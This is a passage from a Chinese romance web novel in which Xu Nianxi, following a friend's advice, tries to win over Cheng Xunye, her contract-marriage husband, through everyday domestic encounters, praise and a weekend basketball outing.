鲁惟与当了几年牛马,深韵老板画大饼的精髓,开口就用诱哄的语气道:“溪溪,你想想。万一你成功让程洵也喜欢上你了,那从此以后,你就能光明正大地和程洵也在一起了。”“你可以堂堂正正地介绍你和程洵也的关系,你可以关心他,可以一直和他说话,要是有别的异性靠近他,你也可以直接宣誓主权,你更可以和他一輩子都在一起。”“一辈子哦,那么漫长的时光。” 鲁惟与的话好像什么唯美的乌托邦一样,在徐念溪面前缓缓拉开一面宏伟蓝图。比起现在的松散和随时都会断开的关系。在这个蓝图里,程洵也是能和她一起相伴到老的,她和他也是有更多更深的羁绊的。他们不再是协议结婚,相反他们是真正的相爱相知相守。她也有权利,和他一直一直生活下去。 徐念溪不是个赌徒性格,相反她是个纯粹的小市民。她的所有钱都会放在余额宝里,每天守着零星几块钱的收益,但她也从没想过,拿这些钱去投资。和收益成正比的,是风险。而她一向是惧怕风险的。 可这时候她才发现,她根本不是个惧怕风险的人。她不愿意靠近,只是因为诱惑不够大。 而程洵也对她来说,恰恰就是她魂牵梦萦都想得到的王冠上的那颗珠宝。 只要得到了,好像,她这辈子都没有什么遗憾了。 徐念溪呼吸有点重,掌心也有点湿,心跟着蠢蠢欲动起来,跳得有些激烈:“小鱼,怎么做呢?”说到这里,鲁惟与就来了兴致:“简单。溪溪,你先经常出现在他的生活中,让他习惯你。与此同时,你给他一些是是非非的暖昧信号,让他的注意力集中在你身上。对了,还得经常夸他,男人嘛,都是受不住夸的。”“出现、给出信号、常夸。”徐念溪把这句话念了好几遍,“我记住了。” 鲁惟与传授的心重,拉着徐念溪说了好一通,说得徐念溪连连点头。等挂了电话,徐念溪握着发烫的手机,感觉自己像得道升天了。 要说自己懂了什么,好像也说不出来。 但是说什么也没懂,也不对。 次日,徐念溪醒得很早,出卧室门时,正好撞见程洵也。西津不知何时已经升温了,再过几天就立春。 程洵也照样穿得不多,只一件墨绿派克大衣,黑西装裤。今天的穿搭出乎意料的很熟男。居高临下看她的样子,带着点攻击性。 不知道是因为这一身穿搭带来的,还是徐念溪有吃窝边草的心思,所以做贼心虚。 徐念溪按耐住心虚,镇定表情,和他打招呼。 她这么一连串动作。倒是一点也看不出昨天那个说“能喜欢他”的那个人影子了。 但是程洵也心中还有疑窦,叫住他:“徐念溪。” 徐念溪脚步一顿,回头看他,神色捎点恰到好处的疑惑:“怎么了?” 程洵也视线定在徐念溪脸上,神色凝重:“我昨天背你的时候,你说了什么,你还记得吗?” 41、041… 徐念溪自然是记得的,但她可不敢说。她顿在原地,神情莫名,像是不知道他在说什么。但又很给面子地努力回忆:“那会儿我说话了吗?说了什么啊……我想想…”" 徐念溪皱着眉头,这一想就是好久。 还是一无所获,她眉头打开,小心翼翼地看程洵也,语气带着点心虚,又带着点解释意味,怕他责怪似的:“那个,你知道的,一个人每天要说2000-10000字。” 她嗓音更轻了几分,虽然依旧一副不知道发生了什么的样儿,但又认真地为他排忧解难道:“我说的是什么很重要的话吗?有什么提示吗?要不我再想想?”程洵也抿紧唇,神色有些紧绷,觉得失望又觉得果然在意料之中。 见他表情,徐念溪似乎觉得自己做了什么怪事,神色更无措了:“那个,对不起啊,都怪我忘了。” …….” 她这一番虽然不知道他在说什么,但是依旧很努力配合,甚至还因为他这不知所云的一句话而道歉的表现,衬托得程洵也很坏。 像动画片里的因为主角一句话就大动干戈的超级大反派。 明明是他自己揪着这事不放,道歉的却是徐念溪。 程洵也就觉得他这人怎么这么坏,“啧”了声:“不需要道歉。不是什么很重要的话。” 徐念溪和他说这种话的几率本来就小得可怜。 前段时间,她对他的躲避从来不是假的。 徐念溪疑惑地眨眨眼,看他的样子像是在说“真的吗”,但许是觉得多一事不如少一事,便乖乖地“哦”了一声,又征求他意见似的:“那我先进卧室了?” 程洵也已经确认够了,也不再阻止:“好。” 徐念溪走后,程洵也站在原地,揉了揉太阳穴。 只觉得,他真是没事干,所以在这里欺负人。 …… 翌日是周末,徐念溪在卧室坐了会儿,端着个杯子,来到客厅。过了好一会儿,程洵也才从卧室出来,找了个沙发坐下。 电视开着。 不知道在放什么,可能是上个世纪的枪战片。徐念溪借着电视机屏幕的折射,观察程洵也。他窝在小沙发上,穿了件很宽松的灰色居家服,偶尔能看到露出来的他小半个瘦削肩膀,黑发被他揉得有些乱。正架着胳膊,在看平板。神色百无聊赖,也不怎么抬头看电视。 徐念溪和他很长时间没有怎么相处过了。一时之间,也有些陌生,咬了咬杯壁,被水呛到,忍不住轻咳了声。 程洵也似乎是被她的咳嗽声提醒,他抬了脑袋,奇怪地朝她这边看过来。看到是她,他神色有些疑惑似的,好像才发现她在这里一样。果然,他的下一句话就是:“你怎么在客厅?” 徐念溪愣了瞬:“我一直都在的。”程洵也皱眉,想说他不是这个意思,但又觉得没有必要追根究底。收回视线,没有多说什么。 客厅里一时只有电视机的声响。徐念溪把马克杯里的水喝完了,又起了身,去厨房倒。再出来时,程洵也已经不在客厅了。她站在原地,想了想,也进了卧室。 直到下午,客厅才重新有脚步声,徐念溪也跟着出来。果然就见程洵也正在厨房拿冰箱里的水。 看到她,程洵也神色不变,和她说了句话,拿了水,就进了卧室。徐念溪见他不在客厅久待,也只好回了卧室。 连着好几个周末,他们就像捉迷藏一样。只要程洵也出来,过不久,徐念溪也会出来。偶尔程洵也在客厅待会儿,徐念溪也跟着在客厅。 他们俩也不说话,但起码程洵也在客厅看见她时,不会觉得奇怪和诧异了。程洵也偶尔还会看她两眼,似乎在好奇她在干嘛一样。 再经过几个周末的捉迷藏,他们甚至能一起说几句话。徐念溪说得多,程洵也说得少。 又是几个周末的捉迷藏,他们的关系有了几分之前的模样。没那么陌生和生分了。 周一,程洵也刚到客厅,徐念溪从卧室出来了。和程洵也打了个招呼,转身又进了卧室。 没一会儿,她又从出来了,不同于刚刚的白色毛衣,现在的她换了件墨绿色大衣。见程洵也看她,她欲盖弥彰地看了开着的窗一眼:“天气有点冷,我多穿一件。”程洵也看了她一眼,没有多说什么。 他们一起走出门。说起来,这是他们第一次一起出门上班。初次体验,让人觉得奇妙。 他们俩又都是一身墨绿,乍一看都有点情侣装的意思。走着走着,徐念溪的嘴角就勾起了点。 她正开心呢,快她半步的程洵也回头看了她一眼,可能是她这样子太奇怪,程洵也开口:“你干嘛呢,捡到钱了?”徐念溪立马端正表情,回他:“没有。” “那你平白无故地,干嘛这么高兴?”程洵也问。徐念溪刚想胡说八道两句,又想到,鲁惟与的教诲,除了让他适应她的存在以外,她还得说一些是是非非的暖昧话。 徐念溪迟疑两秒,盯着程洵也的脸,眨了下眼睛,认真地说:“就不能,因为和你在一起,而觉得高兴吗?” “…….” 闻言,程洵也愣了下,脸上有点始料未及的震惊,也不说话。空气安静。两人大眼瞪小眼。片刻后,程洵也忽的皱了下鼻子,扭过头往前走。 程洵也腿毕竟比她长了一大截,一旦不等她,徐念溪就追得辛苦,疑心这话是不是太过于暖昧了,把他腻歪得转头就走。 程洵也走了两步,就听到后面有着急忙慌的脚步声。一听就知道是徐念溪。也不知道她干嘛要追他,又不是同一条路。 他“啧”了声,觉得烦躁。也不停,只放慢了脚步。徐念溪好不容易追到他,脸上多了一层红,人也有点儿气喘吁吁,抬脸看程洵也,疑惑地说:“怎么了吗?”程洵也没看她,硬邦邦地丢出句:“没怎么。只是我上班要迟到了。” 徐念溪见他这么说,心就放下来了,嘀咕了句,“这样啊。我还以为你被恶心到了,还说下次不和别人说这种话了。” “别人?”程洵也脚步一顿,回头盯她,像抓到她什么把柄似的,“你还和别人说过这种话?” “…… 徐念溪仔细想了想,她很难和人交心,但在鲁惟与那里,这套法则并不适用,说不定什么时候,她就和鲁惟与说过这种话,便道:“有可能。”程洵也表情更严肃了,一副她做错了事的模样:“你怎么能随便和人说这种话?” 徐念溪无措:“不、不能说吗?” “当然不能。” 徐念溪虽然不懂,但被他的态度给震慑到了,认错的态度很配合:“那我以后不说了。” 他们再接着往前走,程洵也看正默默沉思着什么的徐念溪。她本来就是个不善于和人交际的性格,分不清哪些话可以说,哪些话不能说,也情有可原。 这么想着,程洵也又有点愧疚作祟,明明可以和缓语气好好和她解释的。轻咳了一声:“那个,你要说还是可以的。” 徐念溪思绪已经绕到这个不能说,那还能说什么上去了。 听他突如其来的一句,疑惑地“嗯?”了声,仰头和他对视。 程洵也以为她在疑惑他的态度为什么前后不一,耐着性子道:“这种话很容易让人误会的,你得分清对哪些人能说这些话。就比如,你不能和我说这种话。”“你不能吗?”徐念溪被他弄得茫然,不太能理解其中的逻辑。 程洵也肯定地“嗯”了声,紧接着眉头又是一皱。他想到前段时间徐念溪对他做的种种。不论是突然夸他一句,还是刚刚的话,都充分说明她这个人就是会干这种让人误会的事。比起解释,让她理解,还不如直接从源头制止。 有了这个想法后,程洵也语气也凶起来了,凶巴巴的,近乎于命令:“不对。从现在开始,是所有人都不能。所以你也不要对任何人说了。” “哦。”徐念溪虽然不理解,但很能听他的话。只是难免觉得可惜,嘀咕了句:“那连鲁惟与也不能说了。” “鲁惟与?” 徐念溪老老实实,态度很是诚恳:“嗯。我只对你和鲁惟与说过这种话。” 程洵也动作一顿,惊讶地看着她:“你就对我和鲁惟与说过?” “对。” 程洵也看着她,表情很奇怪。半分钟后,他也不看徐念溪了,往前走,走了几步,又状似不经意地回头确认,“你为什么不对别人说?”徐念溪被他突如其来的一句,弄得疑惑:“别人又不会让我觉得高兴,那我为什么要说这种话。” “…” 程洵也没再说话,而是快她两步,往前走。很快就到了岔路口,徐念溪去地铁站,程洵也去开车。他们默契地选择自己的方向,只是临走前,徐念溪叫停了程洵也。 “程洵也。” 他回头,“怎么了?” 就见徐念溪仰着脑袋,对他笑呢。 “祝你今天有个好心情。”她道。 要是有好心情的同时,能想起她就更好了。 程洵也“哦”了声,转身往前走。 走前,像是突然记起了还有礼貌这种东西,丢给徐念溪一句话。 “你也是。” 徐念溪到了公司时,脸上还有点笑意。姜颂已经在了,见她过来。“溪溪姐,今天有什么好事发生吗?” 徐念溪点头,眼眸中还有点笑意:“有很好很好的事发生。” 42、042… 徐念溪准时从公司下班,去了超市买菜。 她不知道程洵也喜欢吃什么,但想让程洵也发现她这个人还是不错,继而喜欢她的心强烈。 于是,看见她认为程洵也可能喜欢的东西,就往推车里放。不知不觉,车里堆得很满,都快溢出来了。 等结完帐,徐念溪看着三大袋,沉默了一瞬。一会儿走一会儿停的,勉强才把东西拿到了超市门口,叫了辆车。 正是下班的点,徐念溪等了好久,依旧没等到有司机接单。再等下去也不是办法,想了想,徐念溪给程洵也打了电话。 程洵也估计还在公司,身边还有小方咋咋呼呼的声音。 “怎么了?”徐念溪因为心虚,嗓音有些低:“那个,你要下班了吗?” 程洵也看了看正运营的程序,也没说是不是,只问:“有什么事吗?”“我刚刚去了趟超市,东西买得有点多,现在拎不回去了。所以.……你能不能来接接我?” 程洵也想了想便道:“行,你等着。”出门的时候,刚好遇到小方,小方见他要走,连忙问:“老大,你干嘛去?不加班啊。”程洵也随口应付他:“我去接人。” 小方眼睛一亮,“是接嫂子吗?你们感情可真好。”程洵也脚步一顿。也没说是,也没说不是,敷衍地一挥手。 徐念溪在超市门口,等了没多久,程洵也的车开过来了。没等她把东西拎起来,程洵也先下了车,把那三大袋沉重得跟砖头一样的东西拎到后备箱。 徐念溪被他这一套行云流水的动作搞得有些愣,上了车就盯着他看。程洵也被她盯得疹得慌,神色带着点警惕,“你干嘛这么看我?” 徐念溪也发现自己太明显了,收回目光,拧了拧安全带,觉得自己耳朵有点热,随口胡诌:“你头发有些乱了。”这句话对程洵也这么个自恋患者可是一大忌,他对着镜子,认真地研究了会儿,又狐疑地看徐念溪:“没有啊,挺好的。” 徐念溪也假模假样地看他。片刻后,恍然大悟似的:“肯定是刚刚你扭头,把弄乱的头发,给弄回去了。”她一副“天呐,这可真是神奇”的语气。 “…… 程洵也觉得他的智商好像被她鄙视了,但想了想,也不能说完全没有这个可能性。车往前开。程洵也等绿灯的功夫,忽然想起刚刚拎的分量惊人的三大袋,问徐念溪:“你买什么了?”这话可是问到徐念溪的心里了,她兴冲冲的,伸出手指,比划给他听。 “买了很多肉,猪肉、鸡肉、鸭肉、牛肉。还有很多青菜,冬瓜土豆菠菜……”她一样一样数,数到后面,徐念溪自己都有些糊涂了,干脆总结道:“就这么多吧。” 从刚开始就闷不吭声听她絮叨的程洵也这时终于有了反应。 看了她一眼,重复了一遍:“就,这么多?” 徐念溪也和他对视,以为他没听懂,认真地说:“确实就这么多。” 程洵也嘴角扯了下,完全不给她面子:“徐念溪,你是有什么新的职业规划吗?” “.…” 什么意思?徐念溪不明所以,和他对视。 就听程洵也眼皮微抬,看着她,毫不留情地吐槽:“你买这么多,是要去开餐馆,还是在超市进货自己拿去卖,做个二道贩子?”徐念溪眼睛瞪大了点,看着程洵也连连摇头,觉得他错怪她了。 程洵也从她的表情里看出来了什么一样,退了一步:“哦,那我知道了。”徐念溪松了口气。下一秒,程洵也笃定地开口,底气十足:“你想两个生意都做。卖不完的菜,你再拿到餐馆去。” “…… 天呐。他这张嘴。 徐念溪脾气好,又有不好的心思,不和他计较,实事求是地问程洵也:“会很多吗?”程洵也回答得毫不犹豫:“当然。别说吃一个星期,一个月都够了。” 听他这么说,徐念溪这才倒吸一口凉气,她虽然饭做的少,但知道很多食材,尤其是蔬菜都得吃新鲜的。一个月,估计这种东西都不能吃了。徐念溪向程洵也寻求帮助:“那怎么办?” 程洵也想了想:“分出去一些吧。”这个提议是合适的,徐念溪和他回了房子。徐念溪先把自己喜欢吃的东西拿出来,放在冰箱,又眼巴巴地盯着程洵也的动作。他也拿了些菜,也往冰箱里放。 土豆、番茄、青椒…徐念溪一个一个记住。把冰箱填得差不多,东西却还有很多,两个大袋子,程洵也问徐念溪:“怎么分?”徐念溪想了想,和程洵也兵分两路。她把王君兰会喜欢的食材拿出来,程洵也把冯沛艺他们会需要的食材挑走。 徐念溪买的时候不觉得多,分的时候才觉得,真的不少。程洵也拎着满得快溢出来的袋子,先去更近的冯沛艺家,把东西给他们。冯沛艺看着这些东西,也震惊,说徐念溪是不是遇到了什么事。 该说不说,长辈的眼力确实是很好的。顶着程洵也望过来的狐疑目光,徐念溪佯装镇定,“没呢,阿姨。就是一时买多了。”好在冯沛艺没有深究,这件事就这么过了。 他们又去了王君兰家里,王君兰不在家,他们放了东西就走。等徐念溪和程洵也回来时,已经不早了,外面天色黑得出奇。徐念溪把包放下,跟着程洵也进了厨房。 徐念溪会做的东西,还是不多,但她将功补过的心很强烈。全程跟着程洵也跑出跑进。 中途的时候,油壶里的油空了。没等徐念溪行动,程洵也像拨弄萝卜似的,把她拨远点,再自己把油灌进油壶里。待程洵也把油放回去,一转身就看到徐念溪直勾勾盯着他看的目光。 突然这一下,难免吓人。程洵也整个人都后退了两步,看着徐念溪,很警惕:“不是,你干嘛又盯着我看。”他发现他真的不理解徐念溪。她不仅不躲他了,还老是做出一些奇奇怪怪的动作。 徐念溪没想到会被他抓到,愣了一瞬。但她反应很快,装失忆把这事带过:“有吗?” “有啊。”程洵也眼睛不瞎,证据也很确凿,“开车回来的时候,你盯着我看。我刚刚倒油的时候,你又盯着我看。”他一副“这下看你怎么狡辩”的语气。 徐念溪沉默一会儿,想胡诌个理由,但一时半会儿也找不到其他的,便道:“有没有可能是你头发又乱了。” “……” 连话术都不换一个。程洵也都无语了,但他毕竟还是在乎形象的,这次他也不扭头,直接进了卫生间。 程洵也去照镜子的功夫,徐念溪站在厨房,摸了下正怦怦跳的胸口。里面有什么东西,在她看到程洵也那些顺手的动作时,立马跟着不讲道理地跳动着。让她不受控制地盯着程洵也看,却没想到会被他发现。 徐念溪又摸了下耳朵,不知道是她的错觉,还是真的有点热,赶紧打开水龙头,拿水降了降温。 程洵也很快又出来了。只是他神情就像抓住她什么错处一样,语调也讨债似的:“我头发根本没乱。”徐念溪没想到他这样紧抓着不放,便开始胡说八道:“那就是刚刚你过来的时候,风又把它吹正了。” “……” 程洵也嘴角抽了抽,觉得她完全在瞎说,但又找不到证据。 见程洵也哑火了,徐念溪还装模作样地点了点头,肯定似的。 但一时的胡诌并不能长久,剩下的时间,徐念溪都严格管住自己的所作所为,也不敢盯着程洵也看。 等把饭做好,已是晚上八点半。无论是程洵也,还是徐念溪都很少吃这么晚的晚饭。比起晚饭,更像是夜宵。 他们俩都是吃饭不怎么说话的人,把饭吃完,徐念溪回到卧室,洗漱完,应该要睡觉了。但她还是坐不住,想凑到程洵也跟前去。 起了身,想去客厅看看程洵也在不在。出乎意料的,他在,正窝在沙发上,看着电脑。 明明灭灭的电脑光打在他脸上,从徐念溪这边看,只觉得他侧脸尤其立体,起伏痕迹很明显,鼻梁高挺,眉骨凸出,薄凉得让人觉得很不好接近。 和平日里的他给人的感觉完全不一样。 徐念溪脚步顿住,一时之间,有点迟疑,不太敢上前。 正这时,程洵也像是发现了她的目光,侧过脸看她。视线突然相交,徐念溪难免有些愣神,下意识想移开目光,但目光刚一动,又觉得不对,只好定在那儿。和他半尴不尬地对视着。 程洵也倒是像被她这来来回回的动作逗笑了似的。嘴角扯了下,嗓音里也多了点笑意,颐指气使地问徐念溪:“你刚刚是不是在偷看我?” “……” 他这一说话,平时的感觉又回来了。 而且还是很明显的那种。 也不知道他是纯粹自恋,还是真抓到她偷看他的画面。徐念溪迟疑了一瞬,还是老实说了实话。“是的。” 她这话一出,反倒是程洵也措手不及了,他愣了瞬,和她对视。片刻后,他反应过来了,轻咳了声,故作淡定,想把这一切拉回正常模样:“你干嘛偷看我?突然发现我很帅了?” 眼前的程洵也一身黑色家居服,明明是很日常的打扮,却因为他的长相,格外吸引人。徐念溪点头,言辞恳切:“确实很帅。” ……" 她这样,顶着张诚恳脸,说这种让人无法招架的话。程洵也觉得他今天可能不适合和徐念溪交流,敛眉,也不理她了,移开视线看电脑。他不说话,徐念溪反倒有些无聊了。 走到他身边,坐到沙发上,只见电脑屏幕上是一串她看都看不懂的代码,正自顾自地往下翻着。程洵也盯着屏幕,神情专注极了,对她的走近无甚感觉似的。 徐念溪胆子便大了点,悄咪咪地坐到离程洵也更近的地方。坐了会儿,就有点困了。她也不想回卧室,撑着下巴看程洵也敲电脑。键盘声咔嚓咔嚓的,像什么催眠曲。 徐念溪听着听着,睡意就更重了点,抗争了一小会儿,闭上了眼。 程洵也就感觉有个毛绒绒的东西,时不时蹭他脖子一下,又很快移开。 力道也轻。 像被蒲公英轻轻扫一下似的。 他刚开始没在意,但第四次扫过来时,他下意识侧脸看过去。只见徐念溪抱着抱枕,眼睛闭着,睡得不算踏实,因为她时不时地靠过来,忽的反应过来似的,整个人一个激灵,又坐直了身子。来来回回的,简直像只不倒翁。 他脖子刚刚估计就是被徐念溪的头发扫到了。程洵也挠了挠脖子,觉得有些痒,刚想移开点位置。下一瞬,徐念溪又是往他这边一靠。 发丝扫过程洵也的下巴,不仅痒,还麻,像被什么东西电到了一样。程洵也连忙后退了点。但他一退,徐念溪又没了支撑似的,整个人都往他这边靠。被程洵也眼疾手快地拦住,她才没摔下去。 徐念溪就听耳边有人说:“徐念溪。醒醒,回房间睡。”她似睡非醒的,这人又像只苍蝇似的,不停嗡嗡嗡。 徐念溪拍了拍说话的人,力道不大,但是不配合的程度很重。程洵也隔着抱枕,又戳了戳她:“徐念溪,起来。回房间。” 徐念溪迷迷糊糊的,睁开眼睛,看了他一眼,像是认出来了是程洵也,很给面子地“哦”了声。只是“哦”完,她人也没动,相反抱着枕头,很满足地闭上了眼。一副要在这里睡到天昏地老的模样。 也不知道她在“哦”什么,程洵也“啧”了声,语气带点威胁:“你再不起来,我背你了。” 徐念溪抱着抱枕,人没动,但几秒后,她的胳膊往前伸,脸也跟着扬出来,认真看程洵也,还挺期待似的:“你背。” “……” 程洵也觉得她不是睡着了,而是睡傻了,要不然怎么能一次比一次奇怪的。但徐念溪胳膊晃了晃,像在催他似的。 程洵也只好蹲下身,任由她趴在他背上。程洵也背着她往前走时,徐念溪思绪也清醒了不少,但她也没让程洵也停,而是闭上了眼睛,继续装睡。 卧室门被打开。 这是程洵也第二次进徐念溪的房间。 不同于之前的空荡,现在里面多了不少东西。 程洵也甚至还看到他们一起吃饭那次拿回来的大熊,就靠在沙发旁。 他只看了一眼,就没有再看。把徐念溪放到床上,给她盖上被子。这个过程中,她还是一副睡得很沉的模样,呼吸都不带乱一下。程洵也说她是佩奇。 说完,他便走了。待关门声彻底消失,徐念溪慢吞吞地睁开眼睛,摸出了手机。在搜索引擎中找到了佩奇的意思—猪。 “…….” 他说她是猪。她应该要生气的,但徐念溪把被子紧紧往上拉,挡住了自己的脸。热气从耳朵开始往旁边扩散,她没有摸,但依旧能感觉滚烫。 天呐。他背了自己。虽然是她装睡带来的,但徐念溪依旧心情像揣了什么东西一样,忍不住在被子里打了会儿拳。 好不容易才睡着。隔天,徐念溪很早就起来了。她出卧室门时,程洵也正在厨房,火开着,还有隐隐的水沸腾声。她走进去,探过身看锅里。锅里漂浮着像水母似的小馄饨。 见她出来了,程洵也关了火,盛出来两碗,也不等她问:“我妈早上送过来的,也有煮你的份。”徐念溪道了谢,端出去自己的。等它不烫了,咬了一口,立马朝他竖起大拇指:“超级无敌好吃。你和阿姨都好厉害。” 程洵也看了她一眼,也不说什么,才知道啊,算你有眼光的臭屁话。就怕她突然石破天惊的,来一句没错。解决完馄饨,程洵也洗好碗,交代句:“我走了。” 徐念溪被他这来去匆匆的动作弄得有些懵,下意识问:“你去哪儿?今天不是周末吗。” 程洵也看了眼手机,严岸泊已经在催他了,回:“我和严岸泊他们约了踢球。”踢球。 徐念溪眼睛一亮,期盼地看着程洵也:“我能跟着去吗?”她一副憧憬的语气,又怕他拒绝似的,“不能也没关系的。我其实都行的。” 她这么一套又可怜兮兮又很体贴人的联合招下来,轻而易举地程洵也心软了,他“啧”了声,有些不满自己的没原则,便道:“我只等你五分钟。” 五分钟也够了。徐念溪眼睛瞬间亮了,里面像有小星星似的,语气也格外喜悦,“知道了。”她几口把馄饨吃下去,又快速地把碗洗了。穿上外套,跟着程洵也跑出去的脚步很是轻快。 他们到了运动场。严岸泊他们换了球衣,架势很够地正在热身。见到他们,尤其是徐念溪,一个两个,都很惊讶。和徐念溪打完招呼,又说足球场在维护,只有室内篮球场可以用,他们只能改打篮球。 本来今天出来都是为了陪严岸泊的。程洵也打什么球完全不在意。 等他们热好身,篮球赛正式开始。 程洵也和严岸泊他们是一个队。另外一个队队员都很年轻,看着像是大学生。体力自然而然比严岸泊这些常坐办公室的强,尤其里面还有个走两步就得喘一下的公孙修竹。 局势很快一面倒起来,也就程洵也和李伟豪时不时能进两个球。不过程洵也似乎对这种局面不是很在意,玩玩似的。 很快到了中场休息。程洵也他们下了场,徐念溪把水递给他们。严岸泊累得气喘吁吁的,话都说不上来。公孙修竹更是,脸上的汗像瀑布一样往下淌。程洵也和李伟豪倒是还好。程洵也甚至还有空看看徐念溪。“还看吗?”徐念溪点头:“看。挺好玩的。” 下半场很快开始了。程洵也丢了毛巾,和严岸泊他们上了场。和上半场的激烈比起来,下半场整体风格节奏平缓一点,估计是两个队伍的体力都耗尽了。 原本这场比赛,应该就这么平平淡淡地结束的。只是个子很瘦高,带黑框眼镜的大学生,带球过程中,被公孙修竹撞倒了,只是正常冲撞。但他非要说公孙修竹犯规,见裁判不认可,他又对公孙修竹开始人身攻击。说他这么胖,打什么篮球,明明走路都费劲。 徐念溪就看到程洵也的脸色不好起来了。他这人一旦不笑,脸上的骨骼轮廓就格外明显。很不好接近的样子,眉宇之间还带着点戾气。盯着黑框眼镜的目光,格外寒。 严岸泊拍了拍程洵也,那意思好像是,让他冷静。 程洵也听了,但整个下半场,他人似乎有了干劲,不像上半场一样玩玩而已。 他也不针对别人,就针对黑框眼镜。 导致后面,黑框眼镜甚至连球都摸不到一下。 等裁判吹哨,程洵也那一队出乎意料的比大学生队,还高出三分。 “行啊,不愧是我哥。这么久没打篮球了,还能碾压他们。”公孙修竹边对着程洵也狂拍马屁,把他吹得天花乱坠,边冲着正不服气的黑框眼镜翻白眼。程洵也这时候表情又挺正常的,哼了声,挺得瑟的样子。 甚至徐念溪不用听,就知道他会说什么。他们又打了几场,很快到了中午。严岸泊还想打,但程洵也没让了。唤了徐念溪回去。 车往前开。 车内,徐念溪盯着程洵也看,目光稀奇的,像他是个超级赛亚人一样。 哪怕程洵也脸皮再厚,也容不得徐念溪这么盯,他“啧”了声,不耐烦似的:“徐念溪,看前面,不要看我。” 徐念溪“哦”了一声,乖乖地盯着前面看。 只是没看多久,她又悄咪咪地侧过脸,盯着程洵也。 “…. 她好像觉得他这么一套动作天衣无缝似的,程洵也都被她弄无语到了,敲了敲方向盘,叫她名字。“徐念溪。” 又一字一顿地:“我知道我很帅,但你也不能这么看。” 徐念溪眨了下眼,很是可惜地说:“不能吗?”程洵也语气斩钉截铁:“不能。” 她还想挣扎一下:“真的不能吗?”程洵也语气重:“真的不能。” 见没有任何回转的余地,徐念溪“好吧”了一声,这才收回视线。到了房子,程洵也去洗澡,徐念溪拿了手机出来,就看到鲁惟与给她发了消息。鲁惟与:溪溪,怎么样了?徐念溪想了想,实话实说:更喜欢他了。不论是,程洵也无意识的绅士举动。还是他性格里的护短一面,都好像什么璀璨且绚烂的东西,准确地击中她。让她真的很想,朝他靠近。 43、043… 鲁惟与很快回复徐念溪,是一条语音。 她嗓音里还带点笑意,说:“溪溪,我是问你和程洵也怎么样了,不是问你是不是更喜欢他了。” 徐念溪眨了下眼后知后觉地感觉尴尬。她揉了揉有些烫的耳朵,想了想,回鲁惟与:好像还是那个样子。鲁惟与疑惑:进展不大吗? 徐念溪:是的。他好像没有之前那么对她的存在感到陌生,但要是说进展也是没有多少的。鲁惟与先替她打气,又催促她,加大力度,加快速度。 徐念溪应了,关了手机。 她想了想,出了卧室。 程洵也在客厅,电视机开着,他撑着下巴,眼皮耷拉着,有一搭没一搭的看。 她坐了过去,轻咳一声,没话找话。 “你在看什么啊?“ 程洵也拿下巴点了下电视屏幕右下角。那意思,看那里。徐念溪便装模作样的“这样”了一声。 她安静会儿,又开始没话找话。“放广告了,你不换个频道吗?”程洵也只当她不乐意看广告,把遥控器给她:“你自己换。” 这和徐念溪想和他说话的目的不符。但她也不能直说,只好“哦”了声,随便换了个频道,又开始装模作样地和他说话:“这个你喜欢看吗?”程洵也瞥了一眼,“还行。” 还行就是一般的意思,徐念溪再换,“这个呢?”“还好。”再换。“这个呢?”“都行。” 来回几次,徐念溪又指着电视机问:“这个可以吗?”程洵也这次倒是没有说什么“还行”“还好”“都可以”,他神色奇怪地看着徐念溪。徐念溪和他对视,不明所以地问:“有什么不对吗?” 程洵也眼眸透亮,平静地看了她一会儿,表情变了。看笑话似的,嗓音也带出几分散漫的勾人笑意:“没有。只是这是深夜付费频道。”……." 深夜付费频道。徐念溪万万没想到,还有这种进展。她指尖一缩,努力绷着脸,把遥控器还给程洵也:“那你调吧。”程洵也接过遥控器,随便调了个频道,便没管了。 一时之间,客厅只有电视机的声响。徐念溪人已经从尴尬中缓过来了,咳嗽一声,又开始没话找话:“你饿吗?”“还好。” 安静会儿,徐念溪:“那你渴吗?”“还行。” 又安静会儿,徐念溪:“那你想睡午觉吗?”“不想。” “……. 他们已经把能聊的话题都聊了个遍。徐念溪揉了揉脑袋,正苦思冥想的时候,程洵也起了身:“走吧,去做饭。” ? 为什么突然做饭? 程洵也看她,语气像看破了她似的:“你不是一直侧敲旁击,试图让我知道你又渴又饿,还想睡午觉吗?”徐念溪懵了一瞬,想说她其实不是这个意思,但程洵也已经打开了厨房的门。 徐念溪权衡一下利弊,赶紧跟着进了厨房。待程洵也做好饭,徐念溪吃了一口,又对他竖大拇指:“你真厉害。”程洵也依旧不说话,跟没听到一样。 整个周末,徐念溪就一直围着程洵也转,再时不时夸他几句。像只空不下来的花蝴蝶似的。 周末很快过了,只是徐念溪围着程洵也转这件事情,还没结束。无论多晚,无论什么时候,只要程洵也出现在客厅里,徐念溪都能听到似的,用不了多久,就出现在客厅里。然后和程洵也没话找话。一会儿说说这,一会儿说说那。 时不时,再突然丢出来句,很是诚恳的话。就比如,我真的很高兴认识你,今天见到你真的很开心等等。如果是徐念溪是花蝴蝶。那程洵也就好像成为了,她爱围着的那朵花。 哪怕一贯自信到自恋的程洵也,都被徐念溪这种做法,难得的弄的有一点沉默起来。他也不太敢轻易自恋了。就怕徐念溪接一句,她也觉得。 但哪怕是这样,徐念溪还是能找到机会似的。时不时就来上一句,简直防不胜防。 就好比现在。他随手帮她把厨房柜子的碗碟拿下来,低眼就对上徐念溪望着他,亮晶晶的眼睛。他刚意识到不对,下一秒,徐念溪果然开口:“你真的好厉害,那么高的地方,也能拿下来。” 如果不是程洵也清楚地知道,他只是凭借身高优势,拿了一副碗碟,还以为他自己做了多么伟大的一件事。他轻咳一声,难得有几分不好意思:“举手之劳而已。” 徐念溪跟着他往外走,听他这么说,顿住。程洵也感受到了,不明所以地停步,扭头看过去。就见徐念溪毫不犹豫地说,“我发现,你不仅厉害,还很谦虚。” “…….” 谦虚这个词儿,一辈子都没和程洵也这个人产生过任何联系。他嘴角抽了抽,觉得徐念溪完全胡说八道,但一看徐念溪那张诚恳脸,又有些犹疑起来。 严岸泊正和公孙修竹他们看球赛回放,见程洵也来了,就给他让出一点位置。“快快快,下半场刚开始。”程洵也坐下了,却没怎么看。 等严岸泊他们骂完假动作那么明显,裁判不给黄牌,肯定有黑幕时,严岸泊才发现程洵也今天异常的安静。严岸泊撞了撞他,纳闷地说:“你干嘛呢?突然没长嘴了?” "……" 程洵也觉得严岸泊很讨嫌,瞥了他一眼,也不说话。严岸泊被他这么忽视,相反更有兴趣似的,戏谑道:“怎么了?念溪又不喜欢你了?”程洵也睨了他一眼,因为不爽,语调硬邦邦的:“你别说话。”严岸泊可不理他,又撞了撞他,“到底怎么了?说给我听听。” 